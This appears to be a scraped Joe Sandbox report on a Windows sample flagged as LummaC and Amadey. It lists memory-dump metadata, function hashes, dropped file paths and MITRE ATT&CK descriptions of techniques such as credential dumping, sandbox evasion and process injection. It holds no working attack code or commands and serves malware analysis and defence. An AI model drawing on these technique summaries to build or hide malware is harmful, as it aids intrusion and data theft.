Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e(
API String ID: 1078844751-3373179780
Opcode ID: 86367119115347f4482abe52bb114cd1cbea9b2a4ad07af37f9aeef55fde72bd
Instruction ID: b246740a93eae18f6da30d2e52a903372319f92b701ed0df00fd4455fa5e41f2
Opcode Fuzzy Hash: 86367119115347f4482abe52bb114cd1cbea9b2a4ad07af37f9aeef55fde72bd
Instruction Fuzzy Hash: 98F0B236511529ABCF225FA0EC098AE7F6AEB08760B149119FD0966230C672A871EF90

Function 0028B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0028B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0028B961

Strings

pContext, xrefs: 0028B959

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: bc446a944615629ea9b3341d40793eac806c97e3fb561a95f9e0d0c7e904a7b3
Instruction ID: 308c9553eae7c5dd8c4a340b8d40957981105f11ea0a6670b6a1330795fb0ab5
Opcode Fuzzy Hash: bc446a944615629ea9b3341d40793eac806c97e3fb561a95f9e0d0c7e904a7b3
Instruction Fuzzy Hash: CFE06839B1020867CF10FB64E86ACDEBB79AFC0714300411AE911A3381EB70AA34CED0

Function 002834CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002834FC

Strings

version, xrefs: 002834E1
pScheduler, xrefs: 002834F4

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 026ce4983fd22d18224555b06ef0b9a3a5a260ca08eaba1044e03a73ca4fe550
Instruction ID: cd404cadba76bfa739a076a685b91e3616c6af1a9b618ccad3919b83c5e12de3
Opcode Fuzzy Hash: 026ce4983fd22d18224555b06ef0b9a3a5a260ca08eaba1044e03a73ca4fe550
Instruction Fuzzy Hash: E5E08638470208B6CF25FE54D857ADD7764AB11B49F54C116B810610D29BF497B8CF81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\915c60055b.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre